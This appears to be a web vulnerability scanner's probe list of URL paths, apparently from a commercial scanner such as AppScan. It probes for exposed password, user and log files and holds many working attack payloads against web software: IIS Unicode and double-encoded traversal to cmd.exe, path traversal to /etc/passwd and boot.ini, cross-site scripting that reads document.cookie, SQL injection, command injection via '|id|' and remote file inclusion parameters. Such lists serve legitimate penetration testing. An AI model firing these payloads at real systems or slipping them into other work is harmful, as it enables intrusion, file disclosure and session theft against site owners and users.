/icons/small/password.dat
/icons/small/password.data
/icons/small/password.db
/icons/small/password.dbf
/icons/small/password.exe
/icons/small/password.htm
/icons/small/password.html
/icons/small/password.htx
/icons/small/password.ini
/icons/small/password.lst
/icons/small/password.pl
/icons/small/password.txt
/icons/small/passwords.asp
/icons/small/passwords.cfg
/icons/small/passwords.cgi
/icons/small/passwords.dat
/icons/small/passwords.data
/icons/small/passwords.db
/icons/small/passwords.dbf
/icons/small/passwords.exe
/icons/small/passwords.htm
/icons/small/passwords.html
/icons/small/passwords.htx
/icons/small/passwords.ini
/icons/small/passwords.lst
/icons/small/passwords.pl
/icons/small/passwords.txt
/icons/small/phpmyadmin/sql.php3?server=000&cfgServers[000][host]=hello&btnDrop=No&goto=/etc/passwd
/icons/small/phpmyadmin/sql.php?server=000&cfgServers[000][host]=hello&btnDrop=No&goto=/etc/passwd
/icons/small/products.dbf
/icons/small/pubs.dbf
/icons/small/query.inc
/icons/small/register.htm
/icons/small/register.html
/icons/small/register.txt
/icons/small/registration.htm
/icons/small/registration.html
/icons/small/registration.txt
/icons/small/registrations.htm
/icons/small/registrations.html
/icons/small/registrations.txt
/icons/small/robots.txt
/icons/small/root.exe
/icons/small/samples/asp/viewcode.asp?file=index.asp
/icons/small/scripts/comments.txt
/icons/small/security.dbf
/icons/small/sendmail.inc
/icons/small/server.log
/icons/small/servervar.asp
/icons/small/servervariables.asp
/icons/small/servervars.asp
/icons/small/services
/icons/small/servlet
/icons/small/site_mgmt.htm
/icons/small/site_mgmt.html
/icons/small/sitelist.txt
/icons/small/sitemap.gz
/icons/small/sitemap.xml
/icons/small/sitemap.xml.gz
/icons/small/sitestat.asp
/icons/small/sitestat.cgi
/icons/small/sitestat.htm
/icons/small/sitestat.html
/icons/small/sitestat.php
/icons/small/sitestats.asp
/icons/small/sitestats.cgi
/icons/small/sitestats.htm
/icons/small/sitestats.html
/icons/small/sitestats.php
/icons/small/small.ace
/icons/small/small.arj
/icons/small/small.gz
/icons/small/small.lha
/icons/small/small.lzh
/icons/small/small.rar
/icons/small/small.sln
/icons/small/small.tar
/icons/small/small.zip
/icons/small/sql.inc
/icons/small/sqlconnect.inc
/icons/small/sqlnet.log
/icons/small/sqlnet.trc
/icons/small/ssl_error.log
/icons/small/ssl_error_log
/icons/small/standard.inc
/icons/small/stat.asp
/icons/small/stat.cgi
/icons/small/stat.htm
/icons/small/stat.html
/icons/small/stat.php
/icons/small/stat/
/icons/small/statistics.asp
/icons/small/statistics.cgi
/icons/small/statistics.htm
/icons/small/statistics.html
/icons/small/statistics.php
/icons/small/stats.asp
/icons/small/stats.cgi
/icons/small/stats.htm
/icons/small/stats.html
/icons/small/stats.php
/icons/small/stats/
/icons/small/struts-virtdir/<script>alert(25020)</script>.do
/icons/small/test
/icons/small/test-cgi
/icons/small/test-cgi.tcl
/icons/small/test-env
/icons/small/test.asp
/icons/small/test.aspx
/icons/small/test.bat
/icons/small/test.cfm
/icons/small/test.cgi
/icons/small/test.dbf
/icons/small/test.exe
/icons/small/test.htm
/icons/small/test.html
/icons/small/test.jsp
/icons/small/test.php
/icons/small/test.php3
/icons/small/test.pl
/icons/small/test.shtml
/icons/small/test.txt
/icons/small/test_page31621.html
/icons/small/testing.asp
/icons/small/testing.cgi
/icons/small/testing.htm
/icons/small/testing.html
/icons/small/testing.txt
/icons/small/tmp
/icons/small/update.htm
/icons/small/update.html
/icons/small/upgrade.txt
/icons/small/usage.asp
/icons/small/usage.cgi
/icons/small/usage.htm
/icons/small/usage.html
/icons/small/usage.php
/icons/small/usage/
/icons/small/usage_200809.htm
/icons/small/usage_200809.html
/icons/small/usage_200810.htm
/icons/small/usage_200810.html
/icons/small/user.asp
/icons/small/user.cfg
/icons/small/user.cgi
/icons/small/user.dat
/icons/small/user.data
/icons/small/user.db
/icons/small/user.dbf
/icons/small/user.exe
/icons/small/user.htm
/icons/small/user.html
/icons/small/user.htx
/icons/small/user.ini
/icons/small/user.lst
/icons/small/user.pl
/icons/small/user.txt
/icons/small/user_adm.html
/icons/small/users.asp
/icons/small/users.cfg
/icons/small/users.cgi
/icons/small/users.dat
/icons/small/users.data
/icons/small/users.db
/icons/small/users.dbf
/icons/small/users.exe
/icons/small/users.htm
/icons/small/users.html
/icons/small/users.htx
/icons/small/users.ini
/icons/small/users.lst
/icons/small/users.pl
/icons/small/users.txt
/icons/small/utils.inc
/icons/small/validate.inc
/icons/small/viewcode.asp?file=index.asp
/icons/small/wdir.txt
/icons/small/wdirs.txt
/icons/small/webauthor.htm
/icons/small/webstats.asp
/icons/small/webstats.cgi
/icons/small/webstats.html
/icons/small/webstats.php
/icons/small/www_stats/
/icons/small/wwwstat.asp
/icons/small/wwwstat.php3
/icons/small/wwwstats.asp
/icons/small/wwwstats.cgi
/icons/small/wwwstats.htm
/icons/small/wwwstats.html
/icons/small/wwwstats.php
/icons/small/wwwstats.txt
/icons/small/wwwstats/
/icons/small/xferlog.txt
/icons/small/~AppScan.aspx
/icons/sql.inc
/icons/sqlconnect.inc
/icons/sqlnet.log
/icons/sqlnet.trc
/icons/ssl_error.log
/icons/ssl_error_log
/icons/standard.inc
/icons/stat.asp
/icons/stat.cgi
/icons/stat.htm
/icons/stat.html
/icons/stat.php
/icons/stat/
/icons/statistics.asp
/icons/statistics.cgi
/icons/statistics.htm
/icons/statistics.html
/icons/statistics.php
/icons/stats.asp
/icons/stats.cgi
/icons/stats.htm
/icons/stats.html
/icons/stats.php
/icons/struts-virtdir/<script>alert(24782)</script>.do
/icons/test
/icons/test-cgi
/icons/test-cgi.tcl
/icons/test-env
/icons/test.asp
/icons/test.aspx
/icons/test.bat
/icons/test.cfm
/icons/test.cgi
/icons/test.dbf
/icons/test.exe
/icons/test.htm
/icons/test.html
/icons/test.jsp
/icons/test.php
/icons/test.php3
/icons/test.pl
/icons/test.shtml
/icons/test.txt
/icons/test_page27358.html
/icons/testing.asp
/icons/testing.cgi
/icons/testing.htm
/icons/testing.html
/icons/testing.txt
/icons/tmp
/icons/update.htm
/icons/update.html
/icons/upgrade.txt
/icons/usage.asp
/icons/usage.cgi
/icons/usage.htm
/icons/usage.html
/icons/usage.php
/icons/usage/
/icons/usage_200809.htm
/icons/usage_200809.html
/icons/usage_200810.htm
/icons/usage_200810.html
/icons/user.asp
/icons/user.cfg
/icons/user.cgi
/icons/user.dat
/icons/user.data
/icons/user.db
/icons/user.dbf
/icons/user.exe
/icons/user.htm
/icons/user.html
/icons/user.htx
/icons/user.ini
/icons/user.lst
/icons/user.pl
/icons/user.txt
/icons/user_adm.html
/icons/users.asp
/icons/users.cfg
/icons/users.cgi
/icons/users.dat
/icons/users.data
/icons/users.db
/icons/users.dbf
/icons/users.exe
/icons/users.htm
/icons/users.html
/icons/users.htx
/icons/users.ini
/icons/users.lst
/icons/users.pl
/icons/users.txt
/icons/utils.inc
/icons/validate.inc
/icons/viewcode.asp?file=index.asp
/icons/wdir.txt
/icons/wdirs.txt
/icons/webauthor.htm
/icons/webstats.asp
/icons/webstats.cgi
/icons/webstats.html
/icons/webstats.php
/icons/www_stats/
/icons/wwwstat.asp
/icons/wwwstat.php3
/icons/wwwstats.asp
/icons/wwwstats.cgi
/icons/wwwstats.htm
/icons/wwwstats.html
/icons/wwwstats.php
/icons/wwwstats.txt
/icons/wwwstats/
/icons/xferlog.txt
/icons/~AppScan.aspx
/icons/~README
/icons/~README.html
/iconspopup.php?icodir=%2F..%2F..%2F..%2F
/icue_login.asp?error_msg=%3Cscript%3Ealert%282948%29%3C%2Fscript%3E
/idea/
/ideabox/include.php?gorumDir=
/idealbb/error.asp?|-|0|404_Object_Not_Found
/ideas/
/iforget.aspx
/ihm.php?p=
/iis/
/iisadmin
/iisadmin/
/iisadmin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/iisadmin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/iisadmin/..%255c..%255c..%255c..%255cwinnt/system32/541887213.exe
/iisadmin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/iisadmin/..%255c../..%255c../..%255c../winnt/system32/736249900.exe
/iisadmin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/iisadmin/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/1274893545.exe
/iisadmin/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/iisadmin/..%e0%80%af../winnt/system32/811124979.exe
/iisadmin/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/iisadmin/..%f0%80%80%af../winnt/system32/2000808944.exe
/iisadmin/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/iisadmin/..%f8%80%80%80%af../winnt/system32/623853225.exe
/iisadmin/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/iisadmin/..%fc%80%80%80%80%af../winnt/system32/1462165299.exe
/iisadmin/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/iisadmpwd/
/iisadmpwd/..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/iisadmpwd/..%c0%af../winnt/system32/cmd.exe?/c+dir
/iisadmpwd/achg.htr
/iisadmpwd/aexp.htr
/iisadmpwd/aexp2.htr
/iisadmpwd/aexp2b.htr
/iisadmpwd/aexp3.htr
/iisadmpwd/aexp4.htr
/iisadmpwd/aexp4b.htr
/iisadmpwd/anot.htr
/iisadmpwd/anot3.htr
/iishelp
/iishelp/
/iishelp/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/iishelp/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/iishelp/..%255c..%255c..%255c..%255cwinnt/system32/1881321336.exe
/iishelp/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/iishelp/..%255c../..%255c../..%255c../winnt/system32/1349768624.exe
/iishelp/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/iishelp/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/160084659.exe
/iishelp/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/iishelp/..%e0%80%af../winnt/system32/1776015594.exe
/iishelp/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/iishelp/..%f0%80%80%af../winnt/system32/47687984.exe
/iishelp/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/iishelp/..%f8%80%80%80%af../winnt/system32/1237371949.exe
/iishelp/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/iishelp/..%fc%80%80%80%80%af../winnt/system32/1117884341.exe
/iishelp/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/iishelp/iis/htm/tutorial/redirect.asp
/iishelp/iis/misc/default.asp
/iisprotect/admin/SiteAdmin.ASP?|-|0|404_Object_Not_Found
/iissamples/
/iissamples/exair/howitworks/Code.asp
/iissamples/exair/howitworks/Codebrw1.asp
/iissamples/exair/howitworks/Winmsdp.exe
/iissamples/exair/howitworks/code.asp
/iissamples/exair/howitworks/codebrws.asp
/iissamples/exair/search/advsearch.asp
/iissamples/exair/search/query.asp
/iissamples/exair/search/query.idq
/iissamples/exair/search/query.idq?CiTemplate=../../../../../../../../../../winnt/win.ini
/iissamples/exair/search/search.asp
/iissamples/exair/search/search.idq
/iissamples/exair/search/search.idq?CiTemplate=../../../../../../../../../../winnt/win.ini
/iissamples/issamples/SQLQHit.asp
/iissamples/issamples/Winmsdp.exe
/iissamples/issamples/codebrws.asp
/iissamples/issamples/fastq.idq
/iissamples/issamples/fastq.idq?CiTemplate=../../../../../../../../../../winnt/win.ini
/iissamples/issamples/ixqlang.htm
/iissamples/issamples/oop/qfullhit.htw?CiWebHitsFile=/iissamples/issamples/oop/qfullhit.htw&CiRestriction=none&CiHiliteType=Full
/iissamples/issamples/oop/qsumrhit.htw?CiWebHitsFile=/iissamples/issamples/oop/qsumrhit.htw&CiRestriction=none&CiHiliteType=Full
/iissamples/issamples/query.idq
/iissamples/issamples/query.idq?CiTemplate=../../../../../../../../../../winnt/win.ini
/iissamples/issamples/sqlqhit.asp
/iissamples/issamples/sqlqhit.asp?CiColumns=*&CiScope=webinfo
/iissamples/sdk/
/iissamples/sdk/asp/applications/Session_VBScript.asp
/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp
/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp
/iissamples/sdk/asp/docs/Winmsdp.exe
/iissamples/sdk/asp/docs/Winmsdp.exe?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp
/iissamples/sdk/asp/docs/Winmsdp.exe?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp
/iissamples/sdk/asp/docs/codebrw2.asp
/iissamples/sdk/asp/docs/codebrws.asp
/iissamples/sdk/asp/interaction/servervariables_vbscript.asp
/image.mdb
/image.php?img=
/image/
/image_desc.php?id=%27
/imagelist.php?blogid=1&act=add_entry&login=1&imagedir=%3Cscript%3Ealert%282340%29%3C%2Fscript%3E
/imagenes/
/images.php?cid=%27
/images/
/images/../../../../../../../../../../../boot.ini
/images/?cwd=/
/images/?pattern=/etc/*&sort=name
/images/evil.php?owned=
/imageview.php?uid=../../../../../../../../../../../../etc/passwd
/imessage.cgi?toto=&to=&sentby=&fromuser=r0t&command=changefont&username=%3Cscript%3Ealert%282216%29%3C%2Fscript%3E
/img-sys/
/img.php?i=%3Cscript%3Ealert%281882%29%3C%2Fscript%3E
/img.php?i=%3Cscript%3Ealert%281884%29%3C%2Fscript%3E
/img.php?i=nothing.txt%22%3E%3Cscript%3Ealert(%22xss%22);%3C/script%3E%3Cimg%20src=%22img/posts/nothing.txt%22
/img.php?loc=
/img/
/imgs/
/imp/horde/test.php
/imp/horde/test.php?mode=phpinfo
/imp/mailbox.php3?actionID=6&server=x&imapuser=x';somesql+--&pass=x
/impex/ImpExData.php?systempath=
/import
/import/
/impreso/
/imprimer.asp?no=%60/etc/passwd%60|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;`&#039;.
/imprimer.asp?no=....//....//....//....//....//....//....//etc.passwd|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/imprimer.asp?no=../../../../../../../../../etc/passwd%00|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/imprimer.asp?no=/....../boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/imprimer.asp?no=/.../.../.../.../.../.../boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/imprimer.asp?no=/../../../../../../../../../../../../../../../../../../../../boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/imprimer.asp?no=/../../../../../../../../etc/passwd|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/imprimer.asp?no=/.\"./.\"./.\"./.\"./.\"./boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/imprimer.asp?no=/etc/passwd%00|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/imprimer.asp?no=/etc/passwd|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;.
/imprimer.asp?no=c:\boot.ini|44|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;c:&#039;.
/inbox/
/inbox/1910387707.fts
/inbox/index.fts?folder="><script>alert(document.cookie)</script>&index=1
/inc
/inc.php?inc=
/inc/
/inc/VIEW/errors/_404_not_found.page.php?baseurl=%3Cscript%3Ealert%283502%29%3C%2Fscript%3E&app_name=%3Cscript%3Ealert%283502%29%3C%2Fscript%3E
/inc/VIEW/errors/_410_stats_gone.page.php?app_name=%3Cscript%3Ealert%283504%29%3C%2Fscript%3E
/inc/VIEW/errors/_referer_spam.page.php?ReqURI=%3Cscript%3Ealert%283506%29%3C%2Fscript%3E&app_name=%3Cscript%3Ealert%283506%29%3C%2Fscript%3E
/inc/cmses/aedating4CMS.php?dir[inc]=
/inc/cmses/aedatingCMS.php?dir[inc]=
/inc/common.load.php
/inc/config.php
/inc/datahandlers/event.php
/inc/datahandlers/pm.php
/inc/dbase.php
/inc/functions.inc.php?config[ppa_root_path]=
/inc/generic_error.php?message=%3Cscript%3Ealert%283198%29%3C%2Fscript%3E
/inc/generic_error.php?message=1
/inc/generic_error.php?message=1&code=%3Cscript%3Ealert%283200%29%3C%2Fscript%3E
/inc/header.php/step_one.php?server_inc=
/inc/htmlarea/plugins/FileManager/images.php
/inc/irayofuncs.php?irayodirhack=
/inc/pipe.php?HCL_path=
/inc/receivertwo.php?uid=1&mohit=y%27&turnadd=1&melody=0&lilil=400
/inc/sendmail.inc
/inc/session.php?sessionerror=0&lang=
/inc/step_one_tables.php?server_inc=
/inc/usercp.php?action=newpass&id=1%27&lilil=400&new=AppScan
/include
/include.inc
/include.php?*[*]*=
/include.php?adresa=
/include.php?b=
/include.php?basepath=
/include.php?channel=
/include.php?chapter=
/include.php?cmd=
/include.php?cont=
/include.php?content=
/include.php?corpo=
/include.php?destino=
/include.php?dir=
/include.php?eval=
/include.php?filepath=
/include.php?go=
/include.php?goFile=
/include.php?goto=
/include.php?header=
/include.php?in=
/include.php?include=
/include.php?index=
/include.php?ir=
/include.php?ki=
/include.php?left=
/include.php?loader=
/include.php?loc=
/include.php?mid=
/include.php?middle=
/include.php?middlePart=
/include.php?module=
/include.php?my=
/include.php?name=
/include.php?nivel=
/include.php?numero=
/include.php?oldal=
/include.php?option=
/include.php?pag=
/include.php?pageweb=
/include.php?panel=
/include.php?path=
/include.php?path=article&contentid=9999999999%27
/include.php?path=contact.php&contact_email=\">&lt;script&gt;alert(document.cookie);&lt;/script&gt;
/include.php?path[docroot]=
/include.php?phpbb_root_path=
/include.php?play=
/include.php?read=
/include.php?redirect=
/include.php?ref=
/include.php?sec=
/include.php?secao=
/include.php?seccion=
/include.php?second=
/include.php?sivu=
/include.php?tipo=
/include.php?to=
/include.php?u=
/include.php?url=
/include.php?w=
/include.php?x=
/include/
/include/763654529.php
/include/adodb/server.php?do=undefined_special_function&sql=generate_sql_error
/include/customize.php
/include/default_header.php
/include/doc/index.php?page=../../../../../../../../boot.ini
/include/doc/index.php?page=../../../../../../../../etc/passwd
/include/doc/index.php?page=../../../../../../../../winnt/win.ini
/include/editfunc.inc.php?NWCONF_SYSTEM[server_path]=
/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
/include/footer.php?t_login=%3Cscript%3Ealert(%22XSSTEst%22)%3C/script%3E
/include/help.php
/include/help.php?base=
/include/main.php?config[search_disp]=true&include_dir=
/include/new-visitor.inc.php?lvc_include_dir=
/include/paymentplugins/payment_paypal.php?config[basepath]=inexistent_hacker_box
/include/prune_torrents.php?action=prune
/include/result.asp?debug=print&amp%3Bcols=3&amp%3Blinecolor=%23AAAAAA&amp%3Bmenu=category&amp%3Bbody=bodyblue&amp%3Bbold=bodyheading&amp%3Bhlcolor=%2388C4FF&amp%3Bbgcolor=%23E0FFE0&amp%3Bmenucolor=%23E0FFE0&amp%3Bhdcolor=%23B0B0B0&amp%3Bidcolor=%23FFFFFF&amp%3Bheader=bodywhite&amp%3Browcolor=%23E0FFE0&amp%3Brow=bodyblack&amp%3Blabel=bodyblue&amp%3Bheading=%3Cscript%3Ealert%282554%29%3C%2Fscript%3E
/include/result.asp?debug=print&amp%3Bcols=3&amp%3Blinecolor=%23AAAAAA&amp%3Bmenu=category&amp%3Bbody=bodyblue&amp%3Bbold=bodyheading&amp%3Bhlcolor=%2388C4FF&amp%3Bbgcolor=%23E0FFE0&amp%3Bmenucolor=%23E0FFE0&amp%3Bhdcolor=%23B0B0B0&amp%3Bidcolor=%23FFFFFF&amp%3Bheader=bodywhite&amp%3Browcolor=%3Cscript%3Ealert%282552%29%3C%2Fscript%3E
/include/slideshow.inc.php
/include/write.php?dir=
/include/write.php?dir=../../../../../etc/passwd%00
/include/write.php?dir=/../../../../../../../../etc/passwd%00
/includer.cgi?template=|id|
/includer.cgi?|id|
/includes/
/includes/329407098.inc
/includes/794085192.php
/includes/XPath.class.php
/includes/adodb/server.php?do=undefined_special_function&sql=generate_sql_error
/includes/adovbs.inc
/includes/archive/archive_topic.php?phpbb_root_path=
/includes/blocks/133550782.php
/includes/blocks/finclude.php
/includes/blogroll.php?bg=%3Cscript%3Ealert%283042%29%3C%2Fscript%3E
/includes/blogroll.php?c1=%3Cscript%3Ealert%283044%29%3C%2Fscript%3E
/includes/blogroll.php?fg=%3Cscript%3Ealert%283038%29%3C%2Fscript%3E
/includes/blogroll.php?line1=%3Cscript%3Ealert%283040%29%3C%2Fscript%3E
/includes/classes/adodb/server.php?do=undefined_special_function&sql=generate_sql_error
/includes/config.inc
/includes/db_adodb.php?baseDir=http://inexistent_hacker_box
/includes/dbal.php?eqdkp_root_path=
/includes/editor/edit_menu.php?js_name=%3Cscript%3Ealert%283048%29%3C%2Fscript%3E
/includes/editor/edit_menu.php?name=%3Cscript%3Ealert%283046%29%3C%2Fscript%3E
/includes/fck/editor/filemanager/upload/php/upload.php?ServerPath=.\x.php.
/includes/footer.php3
/includes/footer.php?template=../../admin/images/admin_headbg.gif%00
/includes/functions.php?phpbb_root_path=
/includes/functions_portal.php?phpbb_root_path=
/includes/header.php3
/includes/header.php?systempath=
/includes/kb_constants.php?board_config[default_lang]=english&phpEx=/../../../../../../../../boot.ini
/includes/kb_constants.php?board_config[default_lang]=english&phpEx=/../../../../../../../../etc/passwd
/includes/kb_constants.php?board_config[default_lang]=english&phpEx=/../../../../../../../../winnt/win.ini
/includes/kb_constants.php?module_root_path=
/includes/kb_constants.php?module_root_path=/../../../../../../../../boot.ini%00
/includes/kb_constants.php?module_root_path=/../../../../../../../../etc/passwd%00
/includes/kb_constants.php?module_root_path=/../../../../../../../../winnt/win.ini%00
/includes/lang/language.php?path_to_root=
/includes/legacy.php
/includes/openid/Auth/OpenID/BBStore.php?openid_root_path=
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=
/includes/os/1332728837.php
/includes/os/class.Darwin.inc.php
/includes/os/class.FreeBSD.inc.php
/includes/os/class.NetBSD.inc.php
/includes/os/class.OpenBSD.inc.php
/includes/photo.php?h=%3E%3Cscript%3Ealert%283050%29%3C%2Fscript%3E
/includes/photo.php?h=%3E%3Cscript%3Ealert(xss)%3C/script%3E
/includes/photo.php?w=%3E%3Cscript%3Ealert%283052%29%3C%2Fscript%3E
/includes/search.php?GlobalSettings[templatesDirectory]=
/includes/system_footer.php
/includes/system_header.php
/includes/tellafriend.php?about=game&gamename=%3Cscript%3Ealert(xss);%3C/script%3E
/incoming
/incoming/
/incomming
/incs/
/index
/index#.#php
/index%20
/index%23.%23php
/index.$$$
/index.-OLD
/index.-old
/index.0
/index.ARC
/index.BAC
/index.BACKUP
/index.BAK
/index.INC
/index.OLD
/index.ORIG
/index.TMP
/index.arc
/index.asp
/index.asp?docID=%27
/index.asp?fID=404187101893'error
/index.asp?ui='&s=bloggers
/index.aspx
/index.aspx/~1
/index.bac
/index.backup
/index.bak
/index.cfm
/index.cfm?Category_ID=
/index.cfm?dspw=login&message=%3Cscript%3Ealert%282930%29%3C%2Fscript%3E
/index.cfm?fuseaction=fusebox.overview%22%3E%3Cscript%3Ealert%28948%29%3C/script%3E%3C
/index.cfm?pageid=
/index.cfm?pg=278&redir=listings&ui=&bamin=%22%3Cscript%3Ealert%281914%29%3C%2Fscript%3E
/index.cfm?pg=278&redir=listings&ui=&bamin=0&bemin=%22%3Cscript%3Ealert%281916%29%3C%2Fscript%3E
/index.cfm?pg=278&redir=listings&ui=&bamin=0&bemin=0&pmin=%22%3Cscript%3Ealert%281918%29%3C%2Fscript%3E
/index.cfm?pg=278&redir=listings&ui=&bamin=0&bemin=0&pmin=0&pmax=99999999&zc=&city=&state=%22%3Cscript%3Ealert%281920%29%3C%2Fscript%3E
/index.cgi?action=%3Cscript%3Ealert%282012%29%3C%2Fscript%3E
/index.cgi?action=&board=%3Cscript%3Ealert%282018%29%3C%2Fscript%3E
/index.cgi?action=&cat=%3Cscript%3Ealert%282020%29%3C%2Fscript%3E
/index.cgi?action=&id=%3Cscript%3Ealert%282014%29%3C%2Fscript%3E
/index.cgi?action=&viewcat=%3Cscript%3Ealert%282024%29%3C%2Fscript%3E
/index.cgi?action=forum&board=chitchat&op=&num=%3Cscript%3Ealert%282016%29%3C%2Fscript%3E
/index.cgi?action=otherarticles&writer=&real=%3Cscript%3Ealert%282022%29%3C%2Fscript%3E
/index.cgi?action=printtopic&id=1&curcatname=%3Cscript%3Ealert%282028%29%3C%2Fscript%3E
/index.cgi?action=printtopic&id=1&curcatname=&img=%3Cscript%3Ealert%282026%29%3C%2Fscript%3E
/index.cgi?action=topics&viewcat=../../db/members/admin.dat%00
/index.cgi?id=%27&username=r0t&seed=TfgNxKhyqEELQQQKizBWyVShdbOpfugMaQhpuGqI
/index.cgi?id=%3Cscript%3Ealert%282244%29%3C%2Fscript%3E&username=r0t&seed=TfgNxKhyqEELQQQKizBWyVShdbOpfugMaQhpuGqI
/index.cgi?id=1&username=r0t&seed=pWltDqcPcLuedZnXTwCNWldbpJmQANHFHfFvveFY&page=%3Cscript%3Ealert%282252%29%3C%2Fscript%3E
/index.cgi?id=4&username=r0t&seed=rjzzBzfrMplgqQMojRgrnALJMoiUeAdlxswNQvbo&action=%3Cscript%3Ealert%282246%29%3C%2Fscript%3E&level=&position=10
/index.cgi?id=4&username=r0t&seed=rjzzBzfrMplgqQMojRgrnALJMoiUeAdlxswNQvbo&action=view_downline&level=%3Cscript%3Ealert%282248%29%3C%2Fscript%3E&position=10
/index.cgi?id=4&username=r0t&seed=rjzzBzfrMplgqQMojRgrnALJMoiUeAdlxswNQvbo&action=view_downline&level=Direct&position=1%27
/index.cgi?id=4&username=r0t&seed=rjzzBzfrMplgqQMojRgrnALJMoiUeAdlxswNQvbo&action=view_downline&level=Direct&position=1%3Cscript%3Ealert%282250%29%3C%2Fscript%3E
/index.cgi?page=../../../../../../../../etc/passwd
/index.cgi?vsSD=%3Cscript%3Ealert%282030%29%3C%2Fscript%3E
/index.cs
/index.csproj
/index.htm
/index.html
/index.html%20
/index.html.bak
/index.html.ca
/index.html.cs
/index.html.cz.iso8859-2
/index.html.de
/index.html.dk
/index.html.ee
/index.html.el
/index.html.en
/index.html.es
/index.html.et
/index.html.fr
/index.html.he.iso8859-8
/index.html.hr.iso8859-2
/index.html.it
/index.html.ja.iso2022-jp
/index.html.kr.iso2022-kr
/index.html.ltz.utf8
/index.html.lu.utf8
/index.html.nl
/index.html.nn
/index.html.no
/index.html.po.iso8859-2
/index.html.pt
/index.html.pt-br
/index.html.ru.cp-1251
/index.html.ru.cp866
/index.html.ru.iso-ru
/index.html.ru.koi8-r
/index.html.ru.utf8
/index.html.se
/index.html.tw
/index.html.tw.Big5
/index.html.var
/index.html.vb
/index.html/
/index.html/%22%3e%3cscript%3ealert(25578)%3c/script%3e
/index.html/%22%3e%3cscript%3ealert(25584)%3c/script%3e
/index.html/%3cimg%20src%3d%22javascript%3aalert(25580)%22%3e
/index.html/%3cimg%20src%3d%22javascript%3aalert(25586)%22%3e
/index.html/?>'"><script>alert(25582)</script>
/index.html/?>'"><script>alert(25588)</script>
/index.html~
/index.inc
/index.jsp
/index.jsp%00x
/index.jsp\"-->
/index.lst
/index.old
/index.old2
/index.orig
/index.php
/index.php%00
/index.php/%22%3E%3Cscript%3Ealert(1330);%3C/script%3E
/index.php/%22%3E%3Cscript%3Ealert(9208)%3C/script%3E
/index.php/%22%3E%3Cscript%3Ealert(xss)%3C/script%3E
/index.php/%22%3E%3Cscript%3Ealert(xss)%3C/script%3E%3C%22
/index.php/%22%3e%3cscript%3ealert(1804)%3c%2fscript%3e
/index.php/%22%3e%3cscript%3ealert(9388)%3c%2fscript%3e
/index.php/%22%3e%3cscript%3ealert(9652)%3c%2fscript%3e
/index.php/%22%3e%3cscript%3ealert(9686)%3c%2fscript%3e%2ffill
/index.php/%3cscript%3ealert(2712)%3c%2fscript%3e
/index.php/123
/index.php/\"><script><script>alert(document.cookie)</script><
/index.php/article/articleview/1917310527.cookie);<*_escaped_end_tag_*>script>
/index.php/article/articleview/img%20src=<script>alert(document.cookie);</script>
/index.php/content/advancedsearch/?SearchText=<script>alert(document.cookie)</script>&PhraseSearchText=<script>alert(document.cookie)</script>&SearchContentClassID=-1&SearchSectionID=-1&SearchDate=-1&SearchButton=Search
/index.php/content/search/?SectionID=3&SearchText=<script>alert(document.cookie)</script>
/index.php3
/index.php3?act=
/index.php3?action=telecharger&fichier=/etc/passwd
/index.php3?file=
/index.php3?i=
/index.php3?id=
/index.php3?l=
/index.php3?lang=
/index.php3?p=
/index.php3?pag=
/index.php3?page=
/index.php3?pg=
/index.php3?s=
/index.php4?lang=
/index.php5?lang=
